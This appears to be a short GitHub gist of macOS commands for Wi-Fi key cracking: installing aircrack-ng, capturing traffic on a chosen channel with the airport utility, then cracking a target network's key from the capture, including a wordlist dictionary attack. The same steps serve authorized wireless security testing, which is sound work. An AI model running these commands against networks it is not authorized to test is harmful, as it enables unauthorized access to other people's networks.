Skip to content

Instantly share code, notes, and snippets.

@alexohneander
Created September 18, 2017 22:14
Show Gist options
  • Save alexohneander/0124f8914263ea43d3d65d00315f0a66 to your computer and use it in GitHub Desktop.
Save alexohneander/0124f8914263ea43d3d65d00315f0a66 to your computer and use it in GitHub Desktop.
Aircrack Commands MacOSX
//Install Macports.
//Install aircrack-ng:
sudo port install aircrack-ng
//Install the latest Xcode, with the Command Line Tools.
//Create the following symlink:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
//Figure out which channel you need to sniff:
sudo airport -s
sudo airport en1 sniff [CHANNEL]
//Find cap files /tmp
ls -lah air*
//New Terminal Window
aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE]
// Notes: the cap_file will be located in the /tmp/airportSniff*.cap.
// Crack with Password list
aircrack-ng -w wordlist.list -b SSID /tmp/*.cap
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment